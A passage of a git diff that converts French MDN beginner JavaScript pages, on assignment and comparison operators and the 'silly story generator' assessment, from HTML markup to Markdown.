listés ici : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Opérateur</th> - <th scope="col">Nom</th> - <th scope="col">But</th> - <th scope="col">Exemple</th> - <th scope="col">Raccourci pour</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>+=</code></td> - <td>Addition et assignation</td> - <td>Ajoute la valeur de droite à la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable</td> - <td><code>x = 3;<br> - x += 4;</code></td> - <td><code>x = 3;<br> - x = x + 4;</code></td> - </tr> - <tr> - <td><code>-=</code></td> - <td>Soustraction et assignation</td> - <td>Soustrait la valeur de droite à la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable</td> - <td><code>x = 6;<br> - x -= 3;</code></td> - <td><code>x = 6;<br> - x = x - 3;</code></td> - </tr> - <tr> - <td><code>*=</code></td> - <td>Multiplication et assignation</td> - <td>Multiplie la valeur de droite par la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable</td> - <td><code>x = 2;<br> - x *= 3;</code></td> - <td><code>x = 2;<br> - x = x * 3;</code></td> - </tr> - <tr> - <td><code>/=</code></td> - <td>Division et assignation</td> - <td>Divise la valeur de la variable de gauche par la valeur de droite, puis renvoie la nouvelle valeur de la variable</td> - <td><code>x = 10;<br> - x /= 5;</code></td> - <td><code>x = 10;<br> - x = x / 5;</code></td> - </tr> - </tbody> -</table> +| Opérateur | Nom | But | Exemple | Raccourci pour | +| --------- | ----------------------------- | -------------------------------------------------------------------------------------------------------------------- | ----------------- | -------------------- | +| `+=` | Addition et assignation | Ajoute la valeur de droite à la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable | `x = 3; x += 4;` | `x = 3; x = x + 4;` | +| `-=` | Soustraction et assignation | Soustrait la valeur de droite à la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable | `x = 6; x -= 3;` | `x = 6; x = x - 3;` | +| `*=` | Multiplication et assignation | Multiplie la valeur de droite par la valeur de la variable de gauche, puis renvoie la nouvelle valeur de la variable | `x = 2; x *= 3;` | `x = 2; x = x * 3;` | +| `/=` | Division et assignation | Divise la valeur de la variable de gauche par la valeur de droite, puis renvoie la nouvelle valeur de la variable | `x = 10; x /= 5;` | `x = 10; x = x / 5;` | -<p>Saisissez quelques uns de ces exemples dans la console pour avoir une idée de leur fonctionnement. Dans chaque cas, voyez si vous avez deviné la valeur avant de saisir la deuxième ligne.</p> +Saisissez quelques uns de ces exemples dans la console pour avoir une idée de leur fonctionnement. Dans chaque cas, voyez si vous avez deviné la valeur avant de saisir la deuxième ligne. -<p>Notez que vous pouvez opportunément utiliser une autre variable comme opérateur sur la droite de chaque expression, par exemple :</p> +Notez que vous pouvez opportunément utiliser une autre variable comme opérateur sur la droite de chaque expression, par exemple : -<pre class="brush: js">var x = 3; // x contient la valeur 3 +```js +var x = 3; // x contient la valeur 3 var y = 4; // y contient la valeur 4 -x *= y; // x contient maintenant la valeur 12</pre> +x *= y; // x contient maintenant la valeur 12 +``` -<div class="note"> -<p><strong>Note :</strong> Il y a des tas d'<a href="/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators#assignment_operators">autres opérateurs d'assignation disponibles</a>, mais ceux‑ci sont les plus courants que vous devez les connaître dès maintenant.</p> -</div> +> **Note :** Il y a des tas d'[autres opérateurs d'assignation disponibles](/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators#assignment_operators), mais ceux‑ci sont les plus courants que vous devez les connaître dès maintenant. -<h2 id="Apprentissage_actif_dimensionner_une_boîte_à_canevas">Apprentissage actif : dimensionner une boîte à canevas</h2> +## Apprentissage actif : dimensionner une boîte à canevas -<p>Dans cet exercice, vous allez manier quelques nombres et opérateurs pour changer la taille d'une boîte. La boîte est tracée à l'aide de l'API de navigateur nommée {{domxref("Canvas API", "", "", "true")}}. Pas besoin de savoir comment elle fonctionne — concentrez-vous simplement sur les mathématiques pour l'instant. Les largeur et hauteur de la boîte (en pixels) sont définies par les variables <code>x</code> et <code>y</code>, qui sont toutes deux initialisées avec la valeur 50.</p> +Dans cet exercice, vous allez manier quelques nombres et opérateurs pour changer la taille d'une boîte. La boîte est tracée à l'aide de l'API de navigateur nommée {{domxref("Canvas API", "", "", "true")}}. Pas besoin de savoir comment elle fonctionne — concentrez-vous simplement sur les mathématiques pour l'instant. Les largeur et hauteur de la boîte (en pixels) sont définies par les variables `x` et `y`, qui sont toutes deux initialisées avec la valeur 50. -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 520)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 520)}} -<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">Ouvrir dans une nouvelle fenêtre</a></strong></p> +**[Ouvrir dans une nouvelle fenêtre](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html)** -<p>Le code dans la boîte ci-desssus peut être modifié. Un commentaire signale les deux lignes suivantes, que vous devez mettre à jour pour faire en sorte que la boîte grossisse ou rétrécisse aux tailles données, en utilisant certains opérateurs et/ou valeurs dans chaque cas. Essayez ce qui suit en réinitialisant à chaque étape :</p> +Le code dans la boîte ci-desssus peut être modifié. Un commentaire signale les deux lignes suivantes, que vous devez mettre à jour pour faire en sorte que la boîte grossisse ou rétrécisse aux tailles données, en utilisant certains opérateurs et/ou valeurs dans chaque cas. Essayez ce qui suit en réinitialisant à chaque étape : -<ul> - <li>Modifier la ligne qui calcule x pour que la boîte conserve sa largeur de 50 pixels, mais que 50 soit calculé avec les nombres 43 et 7 ainsi qu'un opérateur arithmétique.</li> - <li>Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 75 pixels, mais que 75 ait été calculé avec les nombres 25 et 3 ainsi qu'un opérateur arithmétique.</li> - <li>Modifier la ligne qui calcule x pour que la boîte prenne une largeur de 250pixels, mais que 250 ait été calculé avec deux nombres ainsi que l'opérateur <strong>reste</strong> (modulo).</li> - <li>Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 150pixels, mais que 150 ait été calculé en utilisant 3 nombres et les opérateurs <strong>soustraction </strong>et <strong>division</strong>.</li> - <li>Modifier la ligne qui calcule x pour que la boîte prenne une largeur de 200pixels, mais que 200 ait été calculé en se servant du nombre 4 et d'un opérateur d'<strong>assignation</strong>.</li> - <li>Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 200 pixels, mais que 200 ait été calculé en utilisant les nombres 50 et 3 ainsi que les opérateurs <strong>multiplication</strong>, <strong>addition </strong>et <strong>assignation</strong>.</li> -</ul> +- Modifier la ligne qui calcule x pour que la boîte conserve sa largeur de 50 pixels, mais que 50 soit calculé avec les nombres 43 et 7 ainsi qu'un opérateur arithmétique. +- Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 75 pixels, mais que 75 ait été calculé avec les nombres 25 et 3 ainsi qu'un opérateur arithmétique. +- Modifier la ligne qui calcule x pour que la boîte prenne une largeur de 250pixels, mais que 250 ait été calculé avec deux nombres ainsi que l'opérateur **reste** (modulo). +- Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 150pixels, mais que 150 ait été calculé en utilisant 3 nombres et les opérateurs **soustraction** et **division**. +- Modifier la ligne qui calcule x pour que la boîte prenne une largeur de 200pixels, mais que 200 ait été calculé en se servant du nombre 4 et d'un opérateur d'**assignation**. +- Modifier la ligne qui calcule y pour que la boîte prenne une hauteur de 200 pixels, mais que 200 ait été calculé en utilisant les nombres 50 et 3 ainsi que les opérateurs **multiplication**, **addition** et **assignation**. -<p>Pas d'inquiétude si vous vous trompez. Vous pouvez toujours presser le bouton Reset et les choses fonctionneront à nouveau. Après avoir répondu correctement aux questions posées, amusez‑vous avec ce code ou définissez vous‑même les défis.</p> +Pas d'inquiétude si vous vous trompez. Vous pouvez toujours presser le bouton Reset et les choses fonctionneront à nouveau. Après avoir répondu correctement aux questions posées, amusez‑vous avec ce code ou définissez vous‑même les défis. -<h2 id="Opérateurs_de_comparaison">Opérateurs de comparaison</h2> +## Opérateurs de comparaison -<p>Parfois nous avons besoin d'exécuter des tests vrai/faux (true/false), puis d'agir en fonction du résultat — pour ce faire, nous utilisons des <strong>opérateurs de comparaison</strong>.</p> +Parfois nous avons besoin d'exécuter des tests vrai/faux (true/false), puis d'agir en fonction du résultat — pour ce faire, nous utilisons des **opérateurs de comparaison**. -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Operateur</th> - <th scope="col">Nom</th> - <th scope="col">But</th> - <th scope="col">Exemple</th> - </tr> - <tr> - <td><code>===</code></td> - <td>Égalité stricte</td> - <td>Teste si les valeurs de droite et de gauche sont identiques</td> - <td><code>5 === 2 + 4</code></td> - </tr> - <tr> - <td><code>!==</code></td> - <td>Non-égalité stricte</td> - <td>Teste si les valeurs de doite et de gauche ne sont pas identiques</td> - <td><code>5 !== 2 + 3</code></td> - </tr> - <tr> - <td><code><</code></td> - <td>Inférieur à</td> - <td>Teste si la valeur de gauche est plus petite que celle de droite.</td> - <td><code>10 < 6</code></td> - </tr> - <tr> - <td><code>></code></td> - <td>Supérieur à</td> - <td>Teste si la valeur de gauche est plus grande que celle de droite.</td> - <td><code>10 > 20</code></td> - </tr> - <tr> - <td><=</td> - <td>Inférieur ou égal à</td> - <td>Teste si la valeur de gauche est plus petite ou égale à celle de droite.</td> - <td><code>3 <= 2</code></td> - </tr> - <tr> - <td>>=</td> - <td>Supérieur ou égal à</td> - <td>Teste si la valeur de gauche est supérieure ou égale à celle de droite.</td> - <td><code>5 >= 4</code></td> - </tr> - </thead> -</table> +| Operateur | Nom | But | Exemple | +| --------- | ------------------- | ------------------------------------------------------------------------ | ------------- | +| `===` | Égalité stricte | Teste si les valeurs de droite et de gauche sont identiques | `5 === 2 + 4` | +| `!==` | Non-égalité stricte | Teste si les valeurs de doite et de gauche ne sont pas identiques | `5 !== 2 + 3` | +| `<` | Inférieur à | Teste si la valeur de gauche est plus petite que celle de droite. | `10 < 6` | +| `>` | Supérieur à | Teste si la valeur de gauche est plus grande que celle de droite. | `10 > 20` | +| <= | Inférieur ou égal à | Teste si la valeur de gauche est plus petite ou égale à celle de droite. | `3 <= 2` | +| >= | Supérieur ou égal à | Teste si la valeur de gauche est supérieure ou égale à celle de droite. | `5 >= 4` | -<div class="note"> -<p><strong>Note :</strong> Vous verrez peut‑être certaines personnes utiliser <code>==</code> et <code>!=</code> pour leurs test d'égalité ou non-égalité. Ces opérateurs sont valides en JavaScript, mais différents de <code>===</code>/<code>!==</code>. Les versions avec deux caractères testent si les valeurs sont les mêmes, mais pas si les types de données sont les mêmes. Les versions strictes à trois caractères testent à la fois l'égalité des valeurs <em>et</em> des types de données. Il y a moins d'erreurs avec les versions strictes, donc nous vous engageons à les utiliser dans tous les cas.</p> -</div> +> **Note :** Vous verrez peut‑être certaines personnes utiliser `==` et `!=` pour leurs test d'égalité ou non-égalité. Ces opérateurs sont valides en JavaScript, mais différents de `===`/`!==`. Les versions avec deux caractères testent si les valeurs sont les mêmes, mais pas si les types de données sont les mêmes. Les versions strictes à trois caractères testent à la fois l'égalité des valeurs _et_ des types de données. Il y a moins d'erreurs avec les versions strictes, donc nous vous engageons à les utiliser dans tous les cas. -<p>Si vous entrez certaines de ces valeurs dans une console, vous constaterez que toutes renvoient une valeur <code>true</code>/<code>false</code> — les booléens mentionnés dans l'article précédent. Ces opérateurs sont très utiles car il nous permettent de prendre des décisions dans le code, et ils sont utilisés chaque fois que nous avons besoin de faire un choix. Par exemple, les booléens s'utilisent pour :</p> +Si vous entrez certaines de ces valeurs dans une console, vous constaterez que toutes renvoient une valeur `true`/`false` — les booléens mentionnés dans l'article précédent. Ces opérateurs sont très utiles car il nous permettent de prendre des décisions dans le code, et ils sont utilisés chaque fois que nous avons besoin de faire un choix. Par exemple, les booléens s'utilisent pour : -<ul> - <li>Afficher l'étiquette textuelle ad-hoc sur un bouton selon qu'une fonctionnalité est active ou pas</li> - <li>Afficher un message de fin de jeu si un jeu est terminé ou un message de victoire si le jeu a été remporté</li> - <li>Afficher des remerciements saisonniers corrects selon la saison de vacances</li> - <li>Faire un zoom avant ou arrière sur une carte selon le niveau de zoom choisi</li> -</ul> +- Afficher l'étiquette textuelle ad-hoc sur un bouton selon qu'une fonctionnalité est active ou pas +- Afficher un message de fin de jeu si un jeu est terminé ou un message de victoire si le jeu a été remporté +- Afficher des remerciements saisonniers corrects selon la saison de vacances +- Faire un zoom avant ou arrière sur une carte selon le niveau de zoom choisi -<p>Nous verrons comment coder cette logique quand nous étudierons les directives conditionnelles dans un article ultérieur. Pour le moment, regardons un exemple rapide :</p> +Nous verrons comment coder cette logique quand nous étudierons les directives conditionnelles dans un article ultérieur. Pour le moment, regardons un exemple rapide : -<pre class="brush: html"><button>Démarrer la machine</button> -<p>La machine est arrêtée.</p> -</pre> +```html +<button>Démarrer la machine</button> +<p>La machine est arrêtée.</p> +``` -<pre class="brush: js">var btn = document.querySelector('button'); +```js +var btn = document.querySelector('button'); var txt = document.querySelector('p'); btn.addEventListener('click', updateBtn); @@ -425,26 +364,23 @@ function updateBtn() { btn.textContent = 'Démarrer la machine'; txt.textContent = 'La machine est arrêtée.'; } -}</pre> +} +``` -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}} -<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">Ouvrir dans une nouvelle fenêtre</a></strong></p> +**[Ouvrir dans une nouvelle fenêtre](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html)** -<p>Vous pouvez voir l'utilisation de l'opérateur d'égalité stricte dans la fonction <code>updateBtn()</code>. Dans ce cas, nous ne testons pas si deux expressions mathématiques ont la même valeur — nous testons si le contenu textuel d'un bouton contient une certaine chaîne — mais c'est toujours le même principe. Si le bouton affiche « Démarrer la machine » quand on le presse, nous changeons son étiquette en « Arrêter la machine » et mettons à jour l'étiquette comme il convient. Si le bouton indique « Arrêter la machine » au moment de le presser, nous basculons l'étiquette à nouveau.</p> +Vous pouvez voir l'utilisation de l'opérateur d'égalité stricte dans la fonction `updateBtn()`. Dans ce cas, nous ne testons pas si deux expressions mathématiques ont la même valeur — nous testons si le contenu textuel d'un bouton contient une certaine chaîne — mais c'est toujours le même principe. Si le bouton affiche « Démarrer la machine » quand on le presse, nous changeons son étiquette en « Arrêter la machine » et mettons à jour l'étiquette comme il convient. Si le bouton indique « Arrêter la machine » au moment de le presser, nous basculons l'étiquette à nouveau. -<div class="note"> -<p><strong>Note :</strong> Un contrôle qui alterne entre deux états porte généralement le nom de <strong>toggle</strong> (bascule). Il bascule d'un état l'autre — allumé, éteint, etc.</p> -</div> +> **Note :** Un contrôle qui alterne entre deux états porte généralement le nom de **toggle** (bascule). Il bascule d'un état l'autre — allumé, éteint, etc. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Dans cet article, nous avons exposé les informations fondamentales concernant les nombres en JavaScript, à connaître absolument pour débuter convenablement. Vous verrez encore et encore des utilisations de nombres tout au long de cet introduction au JavaScript, prenons donc une pause pour le moment. Si vous êtes de ceux qui n'aiment pas les maths, vous noterez avec satisfaction que ce chapitre était vraiment très court.</p> +Dans cet article, nous avons exposé les informations fondamentales concernant les nombres en JavaScript, à connaître absolument pour débuter convenablement. Vous verrez encore et encore des utilisations de nombres tout au long de cet introduction au JavaScript, prenons donc une pause pour le moment. Si vous êtes de ceux qui n'aiment pas les maths, vous noterez avec satisfaction que ce chapitre était vraiment très court. -<p>Dans l'article suivant, nous étudierons le texte et les façons dont JavaScript nous permet de le manipuler.</p> +Dans l'article suivant, nous étudierons le texte et les façons dont JavaScript nous permet de le manipuler. -<div class="note"> -<p><strong>Note :</strong> Si les Maths vous plaisent et que vous souhaitez en savoir plus sur la manière dont elles sont implémentées en JavaScript, vous trouverez plus de précisions dans la section principale JavaScript du MDN. Une grande place est réservée dans ces articles aux <a href="/fr/docs/Web/JavaScript/Guide/Numbers_and_dates">Nombres et dates</a> et aux <a href="/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions et opérateurs</a>.</p> -</div> +> **Note :** Si les Maths vous plaisent et que vous souhaitez en savoir plus sur la manière dont elles sont implémentées en JavaScript, vous trouverez plus de précisions dans la section principale JavaScript du MDN. Une grande place est réservée dans ces articles aux [Nombres et dates](/fr/docs/Web/JavaScript/Guide/Numbers_and_dates) et aux [Expressions et opérateurs](/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators). -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/silly_story_generator/index.md b/files/fr/learn/javascript/first_steps/silly_story_generator/index.md index 298aef0296..e8d8789c62 100644 --- a/files/fr/learn/javascript/first_steps/silly_story_generator/index.md +++ b/files/fr/learn/javascript/first_steps/silly_story_generator/index.md @@ -3,141 +3,123 @@ title: Générateur d'histoires absurdes slug: Learn/JavaScript/First_steps/Silly_story_generator translation_of: Learn/JavaScript/First_steps/Silly_story_generator --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> - -<p>Dans cette évaluation, vous aurez pour tâche d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer dans le but de créer une appli ludique qui génère des histoires absurdes au hasard. Amusez-vous bien !</p> +Dans cette évaluation, vous aurez pour tâche d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer dans le but de créer une appli ludique qui génère des histoires absurdes au hasard. Amusez-vous bien ! <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Avant de vous lancer dans cette évaluation, vous devez avoir déjà travaillé sur tous les articles de ce module.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Tester la compréhension des fondamentaux JavaScript tels que les variables, les nombres, les opérateurs, les chaînes de caractères et les tableaux.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Avant de vous lancer dans cette évaluation, vous devez avoir déjà + travaillé sur tous les articles de ce module. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Tester la compréhension des fondamentaux JavaScript tels que les + variables, les nombres, les opérateurs, les chaînes de caractères et + les tableaux. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ + +Pour commencer cette évaluation : + +- Allez [chercher le fichier HTML](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html) d'exemple et enregistrez-en une copie locale sous le nom `index.html` dans un nouveau dossier quelque part sur votre ordinateur. Ce fichier contient également la CSS pour mettre en forme l'exemple qui l'accompagne. +- Allez sur la [page qui contient le texte brut](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt) et gardez la fenêtre ouverte dans un onglet différent de votre navigateur. Vous en aurez besoin plus tard. + +> **Note :** Vous pouvez aussi utiliser un site tel que que [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour votre évaluation. Vous pouvez copier-coller le HTML, CSS et JavaScript vers l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne propose pas d'onglet JavaScript séparé, n'hésitez pas à en intégrer un dans une balise `<script>` au sein de la page HTML. + +## Résumé du projet + +On vous a fourni du code HTML/CSS brut ainsi que quelques chaînes de caractères et fonctions JavaScript : vous devez écrire le code JavaScript nécessaire pour transformer ces éléments en un programme fonctionnel, qui fera les choses suivantes : + +- Générer une histoire absurde quand on appuie sur le bouton "Generate random story" (Générer une histoire au hasard). +- Remplacer dans l'histoire le nom par défaut "Bob" par un nom personnalisé, dans le cas où le champ "Enter custom name" (Entrer un nom personnalisé) a été complété avant que le bouton "Générer" soit déclenché. +- Convertir les unités de poids et de température par défaut (américaines) vers leurs équivalents britanniques si le boutton "radio UK" a été coché avant que le bouton "Générer" soit déclenché. +- Générer une nouvelle histoire absurde au hasard quand on appuie à nouveau sur le bouton (et encore une, et encore une...) + +Les captures d'écran suivantes montrent un exemple de ce que le programme terminé doit afficher : + + + +Pour vous faire une idée un peu plus précise, [jetez un œil à l'exemple terminé](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/assessment-finished/) (mais sans regarder le code source !) + +## Les étapes + +Les sections suivantes décrivent ce que vous devez faire : + +Installation basique : + +1. Créez un nouveau fichier nommé `main.js`, dans le même dossier que `index.html` file. +2. Appliquez le fichier JavaScript externe à votre code HTML en insérant une balise {{htmlelement("script")}} dans votre code HTML en référençant `main.js`. Mettez-la juste avant de refermer la balise `</body>`. + +Variables initiales et fonctions : + +1. Dans le fichier de texte brut, copiez tout le code présent sous le titre "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" et collez-le en haut du fichier `main`. Cela vous donne trois variables qui stockent les références respectivement vers le champ "Enter custom name", vers le bouton "Generate random story" (`randomize`), et vers la balise {{htmlelement("p")}} en bas du corps HTML dans lequel l'histoire sera copiée (`story`). Par ailleurs, vous avez une fonction appelée `randomValueFromArray() `qui prend une table, et qui renvoie au hasard l'un des éléments qu'elle contient. +2. Maintenant regardons la deuxième section du fichier de texte brut : "2. RAW TEXT STRINGS". Cette section contient des chaînes de caractères qui vont se comporter comme des entrées (_input_) dans notre program. L'idée est que vous intégriez ces variables internes dans `main.js`: + + 1. Stockez la première longue chaîne de caractères (string) dans la variable `storyText`. + 2. Stockez le premier groupe de trois strings dans le tableau `insertX`. + 3. Stockez le deuxième groupe de trois strings dans le tableau `insertY`. + 4. Stockez le troisième groupe de trois strings dans une tableau `insertZ`. + +Mettre en place le gestionnaire d'événements (_event handler_) et le squelette de la fonction : + +1. Retournez au fichier de texte brut. +2. Copiez le code qui se trouve sous le titre "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" et collez-le en bas de votre fichier `main.js` principal. Cela : + + - Ajoute un gestionnaire d'événements pour les clics à la variable `randomize` de telle sorte que quand on clique sur le bouton associé, la fonction `result()` se lance. + - Ajoute une définition partiellement complète de la fonction `result()` à votre code. Pour le reste de l'évaluation, vous compléterez des lignes au sein de cette fonction pour la compléter et la faire fonctionner correctement. + +Compléter la fonction `result()` : + +1. Créer une nouvelle variable nommée `newStory`, et fixer sa valeur pour qu'elle soit égale à `storyText`. C'est nécessaire pour que soit créée une nouvelle histoire au hasard à chaque fois qu'on appuiera sur le bouton "Generate" et que la fonction sera lancée. Si on apportait des modifications directement à `storyText`, on ne pourrait générer une nouvelle histoire qu'une seule fois. +2. Créer trois nouvelles variables nommées `xItem`, `yItem`, et `zItem`, et faites en sorte qu'elles soient égales au résultat de l'appel de `randomValueFromArray()` sur vos trois tables (le résultat dans chaque cas fera apparaître un élément au hasard en provenance de chacune des tables appelées). Par exemple, vous pouvez appeler la fonction et lui faire retourner une chaîne de caractères au hasard depuis `insertX` en écrivant `randomValueFromArray(insertX)`. +3. Ensuite nous allons remplacer les trois fichiers temporaires dans la chaîne `newStory` — `:insertx:`, `:inserty:`, et `:insertz:` — par les chaînes stockées dans `xItem`, `yItem`, and `zItem`. Ici, une méthode particulière de chaînes pourra vous aider : dans chaque cas, faites que l'appel à la méthode soit égal à `newStory`, de sorte qu'à chaque appel, `newStory` est égal à lui-même, mais avec les substitutions effectuées. Ainsi, à chaque fois qu'on appuiera sur le bouton, ces fichiers temporaires seront chacun remplacés par une chaîne de caractères absurdes au hasard. Pour information, la méthode en question remplace seulement la première séquence de sous-chaîne qu'elle trouve, donc vous devrez peut-être l'un des appels deux fois. +4. Dans le premier block `if`, ajoutez une autre méthode de remplacement de chaîne pour remplacer le nom 'Bob' que vous trouverez dans la chaîne `newStory` en tant que variable `name`. Dans ce block, on établit que "Si une valeur a été entrée dans le champ `customName` text input, on remplacera dans l'histoire le mot Bob par ce nom personnalisé". +5. Dans le deuxième block `if`, on vérifie que le bouton radio `uk` a été coché. Si c'est le cas, nous voulons convertir les valeurs de poids et de température de l'histoire. Les pounds et les farenheit deviennent des stones et des centigrades. Procédez comme suit : + + 1. Cherchez la formule pour convertir les pounds en stones et les fareinheit en centigrades. + 2. Dans la ligne qui définit la variable `weight` (poids), remplacez 300 par un calcul qui convertit 300 pounds en stones. Le tout englobé dans un `Math.round()` à la fin duquel vous concatenez `'stone'`. + 3. Dans la ligne qui définit la variable `temperature`, remplacez 94 par un calcul qui convertit 94 fahrenheit en centigrades. Le tout englobé dans un `Math.round()` à la fin duquel vous concatenez` 'centigrade'`. + 4. Juste sous la définition des deux variables, ajoutez deux lignes de remplacement de chaînes supplémentaires qui remplacent '94 farhenheit' par les contenus de la variable `temperature`, et '300 pounds' par les contenus de la variable `weight`. + +6. Enfin, dans l'antépénultième ligne de la fonction, faites en sorte que la propriété `textContent` de la variable `story` (qui référence le paragraphe) soit égale à `newStory`. + +## Trucs et astuces + +- Aucun besoin de modifier le code HTML, à part pour lui appliquer le JavaScript. +- Si vous n'êtes pas sûr que le JavaScript est correctement appliqué à votre HTML, essayez de supprimer temporairement tout le contenu du fichier JavaScript, et d'y ajouter un morceau très simple de code JavaScript dont vous savez qu'il aura un effet visible, puis sauvegardez et rafraîchissez. Par exemple, le morceau de code suivant fait que l'arrière plan de la balise {{htmlelement("html")}} devient rouge — donc toute la fenêtre du navigateur devrait devenir rouge si le JavaScript est correctement appliqué : +- ```js + document.querySelector('html').style.backgroundColor = 'red'; + ``` +- [Math.round()](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/round) est une méthode JavaScript intégrée qui arrondit simplement le résultat d'un calcul à l'entier le plus proche. + +## Évaluation + +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir soumettre votre travail à votre enseignant/encadrant pour être évalué. Si vous êtes autodidacte, vous pouvez facilement obtenir le guide de notation en vous adressant à la mailing list [dev-mdc](https://lists.mozilla.org/listinfo/dev-mdc) ou au canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — vous ne gagnez rien à tricher ! -<p>Pour commencer cette évaluation :</p> +{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} -<ul> - <li>Allez <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">chercher le fichier HTML</a> d'exemple et enregistrez-en une copie locale sous le nom <code>index.html</code> dans un nouveau dossier quelque part sur votre ordinateur. Ce fichier contient également la CSS pour mettre en forme l'exemple qui l'accompagne.</li> - <li>Allez sur la <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">page qui contient le texte brut</a> et gardez la fenêtre ouverte dans un onglet différent de votre navigateur. Vous en aurez besoin plus tard.</li> -</ul> +## Dans ce module -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi utiliser un site tel que que <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a> pour votre évaluation. Vous pouvez copier-coller le HTML, CSS et JavaScript vers l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne propose pas d'onglet JavaScript séparé, n'hésitez pas à en intégrer un dans une balise <code><script></code> au sein de la page HTML.</p> -</div> - -<h2 id="Résumé_du_projet">Résumé du projet</h2> - -<p>On vous a fourni du code HTML/CSS brut ainsi que quelques chaînes de caractères et fonctions JavaScript : vous devez écrire le code JavaScript nécessaire pour transformer ces éléments en un programme fonctionnel, qui fera les choses suivantes :</p> - -<ul> - <li>Générer une histoire absurde quand on appuie sur le bouton "Generate random story" (Générer une histoire au hasard).</li> - <li>Remplacer dans l'histoire le nom par défaut "Bob" par un nom personnalisé, dans le cas où le champ "Enter custom name" (Entrer un nom personnalisé) a été complété avant que le bouton "Générer" soit déclenché.</li> - <li>Convertir les unités de poids et de température par défaut (américaines) vers leurs équivalents britanniques si le boutton "radio UK" a été coché avant que le bouton "Générer" soit déclenché.</li> - <li>Générer une nouvelle histoire absurde au hasard quand on appuie à nouveau sur le bouton (et encore une, et encore une...)</li> -</ul> - -<p>Les captures d'écran suivantes montrent un exemple de ce que le programme terminé doit afficher :</p> - -<p><img alt="" src="assessment-1.png"></p> - -<p>Pour vous faire une idée un peu plus précise, <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/assessment-finished/">jetez un œil à l'exemple terminé</a> (mais sans regarder le code source !)</p> - -<h2 id="Les_étapes">Les étapes</h2> - -<p>Les sections suivantes décrivent ce que vous devez faire :</p> - -<p>Installation basique :</p> - -<ol> - <li>Créez un nouveau fichier nommé <code>main.js</code>, dans le même dossier que <code>index.html</code> file.</li> - <li>Appliquez le fichier JavaScript externe à votre code HTML en insérant une balise {{htmlelement("script")}} dans votre code HTML en référençant <code>main.js</code>. Mettez-la juste avant de refermer la balise <code></body></code>.</li> -</ol> - -<p>Variables initiales et fonctions :</p> - -<ol> - <li>Dans le fichier de texte brut, copiez tout le code présent sous le titre "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" et collez-le en haut du fichier <code>main</code>. Cela vous donne trois variables qui stockent les références respectivement vers le champ "Enter custom name", vers le bouton "Generate random story" (<code>randomize</code>), et vers la balise 